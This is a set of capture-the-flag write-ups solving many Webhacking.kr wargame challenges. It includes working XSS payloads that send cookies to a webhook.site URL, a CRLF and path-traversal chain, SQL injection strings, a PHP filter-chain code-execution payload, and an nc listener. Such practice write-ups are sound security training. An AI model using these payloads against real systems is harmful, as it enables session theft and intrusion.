This folder contains solutions for the Webhacking.kr wargame from webhacking.kr.
Here we need to send requests that gives us different http codes, each code will give us a key. We need to achieve 9 KEYS at all, and then we can achieve the flag.
400 Bad Request
GET /img/ HTTP/1.1
Host: webhacking.kr:10022
Host: webhacking.kr:10022
KEY{10fac9b9f4112a1d9a650fec275bf164}
403 Forbidden
GET /img/ HTTP/1.1
Host: webhacking.kr:10022
KEY{cd79de80772c1873bcf63e41e3379c6f}
404 Not Found
GET /not_found HTTP/1.1
Host: webhacking.kr:10022
KEY{23c0b3a9ccc44b72f17a99eadb351d2f}
405 Method Not Allowed
TRACE / HTTP/1.1
Host: webhacking.kr:10022
KEY{e5602408f2037c05bbbb0995fec6bc58}
408 Request Timeout
GET / HTTP/1.1
Host:webhacking.kr:10022
send without blank lines at the end, so the error will fault
KEY{e44fa3e1865a3839cbc0b658f1ae08cf}
412 Precondition Failed
GET /img/flag.png HTTP/1.1
Host: webhacking.kr:10022
If-Match: "invalidetag"
KEY{cd7609461c0dbe41a9137056fa4085e2}
414 Request-URI Too Long
GET /?key1=[a * 40000] HTTP/1.1
Host: webhacking.kr:10022
KEY{d1617527ac2143863bc347c6123ed921}
416 Requested Range Not Satisfiable
GET / HTTP/1.1
Host: webhacking.kr:1002
Range: bytes=999999-1000000
KEY{622eced9aa42670c10ee74d29e58e5eb}
417 Expectation Failed
GET / HTTP/1.1
Host: webhacking.kr:10022
Expect: 1337-mode
KEY{ed2dd6cb38fe6a4a10e46d22d20047e6}
Flag: FLAG{iViZGYM7K5I}
Here we can inject tag, we can inject this:
<base href="ourDomain.com">
Then, the admin will go there.
I just put script.js
on my github pages, this is the script.js
file:
window.location.href = "https://webhook.site/b9845d0e-4624-4ee7-89c9-90bfd2b1d3eb/?cookies="+document.cookie;
And then, just give this payload to the admin:
?inject=<base href="https://avishaigonen123.github.io/">
Flag: FLAG{base_is_basic}
There is some flaw in the api.php file, that can let us inject our payload to the code that will get run, because the server wait for 1 second before executing the system function. here is the source code: [baby_toctou]
import requests
URL = "http://webhacking.kr:10019/api.php"
SESSION_ID = "42k3odbmn13sus7k9ad4nestaq"
cookies = {'PHPSESSID':SESSION_ID, 'baby_toctou':'68064f8a2fa2b55643158'}
params ={'q':'cat flag.php'}
while True:
response = requests.get(URL, params=params, cookies=cookies)
print(response.text)
we need to inject our code using the script, and then just asking for “ls” from the server, while the script is running.
Flag: FLAG{Mama_i_know_how_toctou_works}
Here we can run scripts only from the subdomain of *.google.com
.
However, using this github repo JSONBee, we can find snippets that let us run our code :)
I am using this snippet:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
And, as you can see:
This will be our payload to the admin:
?inject=?inject=<script%20src="https://accounts.google.com/o/oauth2/revoke?callback=fetch(%27https://webhook.site/b9845d0e-4624-4ee7-89c9-90bfd2b1d3eb/?cookies=%27%252bdocument.cookie);"></script>
notice to base encode +
twice.
Flag: FLAG{I_hacked_google.com_and_it_was_ezpz}
NOT SOLVED YET, need VPS :(
I’ve got the main idea, which is making my own server after 1 second that will point to “webhacking.kr” (use DNS somehow), and then open there the port 10020, and there i’ll server /cmd/api.txt
, where api.txt contain the command i want, in this case cat flag.php
i can use this: https://github.com/l4rzy/l4rzy.github.io/commit/0f9c7f5e53ac9693351bf6cdb955010748a5f19d, link for someone who solved this challange
here is the source code: [child_toctou]
import requests
URL = "http://webhacking.kr:10020/api.php"
SESSION_ID = "42k3odbmn13sus7k9ad4nestaq"
cookies = {'PHPSESSID':SESSION_ID}
params ={'q':'ls'}
while True:
response = requests.get(URL, params=params, cookies=cookies)
print(response.text)
Flag: ``
here it was very simple… I just searched in the source code for “flag”
Flag: FLAG{how_can_i_pwn_googl3?}
here we can see that in the beginning the flag was exist, and then, during the fetching of the data, it has been changed.
I sniffed the packets using the browser, and after some minutes i’ve found the packet where the flag isn’t censored yet, this is in fetchData
Flag: FLAG{now_i_pwned_googl3?}
Here we can bypass this:
if (preg_match('/session/isUD', $_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
by inject our payload: _SESS%49ON[format]
I => %49
Then, it will override:
parse_str($_SERVER['QUERY_STRING'], $arr);
foreach ($arr as $key => $value) {
$$key = $value;
}
And by this way, we can inject our own: _SESSION[format]
.
Next, we will build our payload for Blind SQLi:
select * from prob_invisible_dragon where convert(secret,char(1))='F'
Where each time we find the character, and by this way leak the flag.
So, let’s write our script: [invisible_dragon.py]
{% include_relative scripts/invisible_dragon.py %}
Flag: FLAG{recycle_reuse_ecyce}
That was tough : |
XSS Injection
First, we need to be able to XSS injection the website.
There is bug in the snprintf.js
file, that you can insert %3c
, and then it’ll take the next memo[i], and will execute:
arg = String.fromCharCode(parseInt(arg, 10))
By this way, we can give this cookie for example:
["%3c><img src=x onerror=alert('XSS-injectoin****(~-_-~)****')>","39"]
base64 encode:
WyIlM2M+PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdYU1MtaW5qZWN0b2luKioqKih+LV8tfikqKioqJyk+IiwiMzkiXQ==
Building the cookie
You can use this script [cookie_build.py]
import base64
def get_js(s):
nums = ",".join(str(ord(c)) for c in s)
return f"eval(String.fromCharCode({nums}))"
# Example usage:
["%3c><img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,72,101,108,108,111,44,32,87,111,114,108,100,33,39,41))>","39"]
URL = "https://webhook.site/aa35b748-13d9-4045-88e6-be0041c07805"
code = f"fetch('{URL}?cookies=' + document.cookie)"
payload = get_js(code)
lst = '["%3c><img src=x onerror=' + payload + '>","39"]'
encoded_list = base64.b64encode(lst.encode()).decode()
print("The cookie will be:\n{}".format(encoded_list))
, for building your cookie, Change the URL
, for your own webhook.
Path Traversal
Ngnix is vulnerable to path traversal with this encoded slash %2f
, we can go here: /static/favicon.ico%2f..%2f..%2f
, and by this way access the home page.
Header Injection Using CLRF
We can inject the favicon.ico
using CLRF, and by this way modify the request.
ATTACK
we send the admin to the vulnerable page using the header Injection
, and the path traversal
.
Then, we send in the headers Set-Cookie
, and send the cookie that cause the XSS Injection
.
At the end, this is what we’ll supply to the report page
favicon.ico%2f..%252f..%2f%0d%0aSet-Cookie:memo=ourMaliciousCookie
Flag: FLAG{giant_double_burger}
In this challenge we exploit vulnerabilities in GraphQL
First we get all of the types:
{__schema{types{name}}}
{
"data": {
"__schema": {
"types": [
{"name": "Board"},
{"name": "Int"},
{"name": "String"},
{"name": "User_d51e7f78cbb219316e0b7cfe1a64540a"}, // INTERESTING
{"name": "Query"},
{"name": "CacheControlScope"},
{"name": "Upload"},
{"name": "Boolean"},
{"name": "__Schema"},
{"name": "__Type"},
{"name": "__TypeKind"},
{"name": "__Field"},
{"name": "__InputValue"},
{"name": "__EnumValue"},
{"name": "__Directive"},
{"name": "__DirectiveLocation"}
]
}
}
}
next, we want to find the fields of this type:
{__type(name:"User_d51e7f78cbb219316e0b7cfe1a64540a"){fields{name}}}
{
"data": {
"__type": {
"fields": [
{"name": "userid_a7fce99fa52d173843130a9620a787ce"},
{"name": "passwd_e31db968948082b92e60411dd15a25cd"}
]
}
}
}
Now, we will check what are the available queries.
{__type(name:"Query"){fields{name}}}
{
"data": {
"__type": {
"fields": [
{"name": "view"},
{"name": "login_51b48f6f7e6947fba0a88a7147d54152"}
]
}
}
}
OK, so there is a query that’s called: login_51b48f6f7e6947fba0a88a7147d54152
, and we know the name of the fields. let’s try to give them to the query:
{login_51b48f6f7e6947fba0a88a7147d54152{userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd}}
{
"data": {
"login_51b48f6f7e6947fba0a88a7147d54152": [
{
"userid_a7fce99fa52d173843130a9620a787ce": "test-user",
"passwd_e31db968948082b92e60411dd15a25cd": "test-password"
},
{
"userid_a7fce99fa52d173843130a9620a787ce": "admin",
"passwd_e31db968948082b92e60411dd15a25cd": "FLAG{i_know_how_to_use_graphql}" // <---
}
]
}
}
Flag: FLAG{i_know_how_to_use_graphql}
cookie user-lvl between 4 and 3, eg, 3.5
here we use blind sqli based on time variant.
In the comment there is a time that getting changed based on the cookie, and we can see the time changed.
here is the source code: [old-02]
{% include_relative scripts/old-02.py %}
at the end, the password is kudos_to_beistlab
another sql injection. here is the source code: [old-03]
{% include_relative scripts/old-03.py %}
in this challenge, we do dictionary attack, based on well known salt. we need to calculate as much hashes as possible.
This is the source code: [old-04]
{% include_relative scripts/old-04.py %}
there is an example of how the dictionary should look like, i gave you only 1000 rows… you need to generate much more rows: [hash-dictionry-old-4]
% scripts/hash-dictionry-old-4.txt
then, you will refresh the page until there is some hash you can find in the dictionary. note: as much time you let the script run, more rows you will craft. I believe 30 minutes should be enough.
:)
as we can see, the login page redirects us to ./mem/login.php
. so, there might be also ./mem/join.php
. we will go there:
in this page there is js obfuscated, let's use some online tool like https://beautifier.io/ and achieve more nice looking code.
here is the source code: [old-05]
```js
{% include_relative scripts/old-05.js %}
after research the code, we come to conclusion that there need to be a cookie with the name oldzombie
, and also, we need to set the param mode
to 1.
so, https://webhacking.kr/challenge/web-05/mem/join.php?mode=1
now, let’s add this user:
username: ` admin
password:
123`
i added space in purpose, this is part of the challenge. finally, let’s go back to the login page and insert those credentials.
here is the source code: [old-06]
{% include_relative scripts/old-06.py %}
here there is another sql challenge:
this is the payload we will give: 3)UNION(SELECT(10%258)
which equivalent to 3) UNION (SELECT ( 10 % 8 )
and as you know, 10 % 8 = 2
and that’s what we need.
you’ll need to refresh the page couple of times until the random will heat 1.
https://webhacking.kr/challenge/web-07/index.php?val=3)UNION(SELECT(10%258)
here there is another sql challenge. in this challenge we change the user-agent in order to manipulate the sql insert.
this is the source code: [old-08]
{% include_relative scripts/old-08.py %}
another sql injection, here we can modify between True and False by Apple and Banana. [old-09]
{% include_relative scripts/old-09.py %}
the password id alsrkswhaql
here, i changed my position to 1599 in the left, and then clicked once on the ‘O’.
then it redirect you me to the solve message.
in this challenge we need to give something that answer to the requirements here:
1aaaaa_{your_ip}%09p%09a%09s%09s
https://webhacking.kr/challenge/code-2/?val=1aaaaa_185.177.125.211%09p%09a%09s%09s
first we can see that the js is encoded with aaencode. let’s decode it using websites like https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html.
we can paste the js code we got, and see what the if checks:
we got this string =youaregod~~~~~~~!
let’s go the url:
https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php
Another sql injection. Here i maid some fancy script, i should use it in the future.
[old-13]
{% include_relative scripts/old-13.py %}
Flag: FLAG{challenge13gummyclear}
in the source code we can see this:
we will calculate the value of ul:
540
and then we’ll go to 540*540=291600
let’s go to the url they say:
https://webhacking.kr/challenge/js-1/?291600
press ctrl+U to get the source code.
let’s go to the url they say:
https://webhacking.kr/challenge/js-2/?getFlag
i can see in the source code this interesting code:
in the last line i see the comment, so i decided to go there:
https://webhacking.kr/challenge/js-3/|.php
and if we go there, we managed to pass the challenge
calculate this val:
unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;
and get:
7809297.1
then, insert it in the box
this challange is SQL injection.
this is the payload: 2%09or%09id%09LIKE%09%27admin%27%09--%09
if we’ll URL-decode this, we’ll get this:
2 or id LIKE 'admin' --
in the cookie user id you need to insert the next value:
MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE4Mjc3ZTA5MTBkNzUwMTk1YjQ0ODc5NzYxNmUwOTFhZDZmOGY1NzcxNTA5MGRhMjYzMjQ1Mzk4OGQ5YTE1MDFiODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE3YjhiOTY1YWQ0YmNhMGU0MWFiNTFkZTdiMzEzNjNhMQ==
you can find the code that generate this here: [old-19]
{% include_relative scripts/old-19.py %}
here you need to do the captcha fast enough… the solution is in the source code: [old-20]
{% include_relative scripts/old-20.py %}
in this challenge there is basic sql injection, and finding the password using brute force.
source code: [old-21]
{% include_relative scripts/old-21.py %}
the result will be:
username: admin
password: there_is_no_rest_for_the_white_angel
Here this is sql injection, when we can extract the MD5 hash
of the password.
We know that when we assign a user, it appends apple
as a salt to the end of the password and then MD5 hash it.
source code: [old-22]
{% include_relative scripts/old-22.py %}
Here you can see the script in action.
Then, we will go to this website reverse md5,
and find out that the reversed hash is wowapple
, means the password is wow
the result will be:
username: admin
password: wow
we will add null after each character
solution in [old-23]
{% include_relative scripts/old-23.py %}
solution in [old-24]
{% include_relative scripts/old-24.py %}
Here we face the problem that flag
is inside flag.txt
.
I googled about this problem, and found this interesting article: php wrapper && LFI-to-RCE
So, I installed this repo php_filter_chain_generator, and then run this command:
python php_filter_chain_generator.py --chain "<?php echo system('cat flag.txt') ?>"
Now, all left is to pick the payload:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
And get the flag!
Flag: FLAG{I_Really_W@nt_to_Stay_At_Your_House}
insert this payload:
php://filter/convert.base64-encode/resource=flag
and then you will receive the encoded flag:
PD9waHAKICBlY2hvICJGTEFHIGlzIGluIHRoZSBjb2RlIjsKICAkZmxhZyA9ICJGTEFHe3RoaXNfaXNfeW91cl9maXJzdF9mbGFnfSI7Cj8+Cg==
Flag: FLAG{this_is_your_first_flag}
i can see that this take the ‘id’ and decode it, so let’s insert encoded ‘admin’
you can find the code that generate this here: [old-26]
{% include_relative scripts/old-26.py %}
we will insert this payload:
0)||id%0blike%0b%27admin%27--%0b
this is equivalent to this:
0) or id like 'admin'--
here we can see we can upload files, and when we try to go to http://webhacking.kr:10002/upload/jTH2HlN7aYbv/flag.php
, we get empty page. That’s because there is a php file there, and we can’t read the code.
After i tried to access file who isn’t exist, i’ve got an error message that indicate we’re using an apache server. Thus, we might control the .htaccess
file by uploading our file, and writing into it: php_flag engine off
.
That’s what i did, using BurpSuite
After that, we can access the flag and see it, because it isn’t executing php anymore.
Flag: FLAG{easy_peasy_apachy}
this is another sql injection challenge.
I think the sql query is like that: INSERT INTO table Values (filename)
, so, we need to see what are the next columns, there are 2 options:
(filename, ip, time)
(filename, time, ip)
my-ip = 149.102.239.232
let’s try each of this methods, and see which one works.
file', '149.102.239.232', 0)#
file', 0, '149.102.239.232')#
the second method works!
now, let’s insert this payload, in order to find the database:
file', 0, '149.102.239.232'), ((select database()), 0, '149.102.239.232')#
database: chall29
retrieve tables:
file', 0, '149.102.239.232'), ((select group_concat(table_name) from information_schema.tables where table_schema='chall29'), 0, '149.102.239.232')#
tables: files,flag_congratz
retrieve columns:
file', 0, '149.102.239.232'), ((select group_concat(column_name) from information_schema.columns where table_name='flag_congratz'), 0, '149.102.239.232')#
columns: flag
now, only need to achieve the flag:
file', 0, '149.102.239.232'), ((select flag from flag_congratz), 0, '149.102.239.232')#
flag: FLAG{didYouFeelConfused?_sorry:)}
Flag: FLAG{didYouFeelConfused?_sorry:)}
Here we can see it tries to connect to a mySQL server, but doesn’t supply parameters to the mysqli_connect
function:
<?php
if($_GET['view_source']) highlight_file(__FILE__);
$db = mysqli_connect() or die();
mysqli_select_db($db,"chall30") or die();
$result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
if($result[0]){
include "/flag";
}
?>
Configuration Injection
So, according to default config files location, so, we can upload our own .htaccess
file, and there set the default mySQL server.
Our .htaccess
file, fill the fields with your credentials:
php_value mysqli.default_port "...."
php_value mysqli.default_host "...."
php_value mysqli.default_user "...."
php_value mysqli.default_pw "...."
Setting our MySQL server
I used this free website Free My SQL server hosting, after creating my free service, i connected to my SQL server:
mysql --user username --password=password --host yoursubdomain.aivencloud.com --port ????? defaultdb
Then, in the command line i ran those commands:
Create DATABASE chall30;
use chall30;
Create TABLE chall30_answer (flag VARCHAR(30) PRIMARY KEY);
Insert into chall30_answer (flag) VALUES ('hello world!');
select * from chall30_answer; ### checking
### changing from "caching_sha2_password" to "mysql_native_password"
use mysql
ALTER USER 'username'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
select user,plugin from user; ### checking
Flag: FLAG{uhoh-db-connection-hijacking?}
in this challenge we will open port for the public internet using ngrok.
ngrok tcp 1337
then, we will use nc to listen for the port:
nc -nlvp 1337
and finally, we will take the address ngrok generated for us:
2.tcp.eu.ngrok.io:12101
and put it in the server
Flag: FLAG{i_have_a_big_and_beautiful_server}
solution in [old-32]
{% include_relative scripts/old-32.py %}
you need to send enough messages in order to be the first one
this challange will be long, each time you will need to do something different until you finish it.
https://webhacking.kr/challenge/bonus-6/?get=hehe
- …
there are bunch of levels, i’ve got no time to explain all. you can see the solution in the source code: [old-33]
{% include_relative scripts/old-33.py %}
in the last stage, you need to run this, and the go to the URL+what the script prints
<?php
$ip = 'YOUR IP';
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo "answerip/{$answer}_{$ip}.php"
?>
(this works for me, assume we don’t have the same ip it won’t work for you)
https://webhacking.kr/challenge/bonus-6/answerip/28287759875_5657551975.php
as we can see, there is some messy javascript code:
let’s try to beautifier it in https://beautifier.io/ and analyze the code [old-34]
{% include_relative scripts/old-34.js %}
i saw this if statement:
if (location[b("0x19", "iUmC")][b("0x1a", "6]r1")](1) == b("0x1b", "RLUb"))
location[b("0x1c", "4c%d")] = b("0x1d", "llaF");
else
alert(b("0x1e", "14cN"));
let’s try to see what does the alert prints b("0x1e", "14cN")
interesting… so, let’s try to run the code in the if statement location[b("0x1c", "4c%d")] = b("0x1d", "llaF");
this takes us to this url: https://webhacking.kr/challenge/js-7/?Passw0RRdd=1
and the is challenge over.
another sql injection.
here this is the payload we insert:
id=1
phone=1),(%27admin%27,%27{your-ip}%27,2
which is equivalent to 1),('admin','{your-ip}', 2
.
I checked before and learn how the insert command is looks like, the format is like this: INSERT Values(id, IP, phone)
then, when he sees your IP address has admin id, it solves the challenge.
https://webhacking.kr/challenge/web-17/index.php?id=1&phone=1),(%27admin%27,%27185.177.125.211%27,2
we will take the temp file: .index.php.swp
by going to this file directly using the browser.
then, we can find at the bottom of the file the flag
Flag: FLAG{what_about_the_nano_editor?}
change the text box to textarea:
then, insert this data:
bla
{your-ip}:admin
after all, go to the admin.php page
here we will insert payload that will drop the last duplicated ‘
this is the code: [old-39]
{% include_relative scripts/old-39.py %}
another sql injection
this is the code: [old-40]
{% include_relative scripts/old-40.py %}
we found that the password is: lUck_admin
first we will upload file with long filename, and see what happens: [old-41]
{% include_relative scripts/old-41.py %}
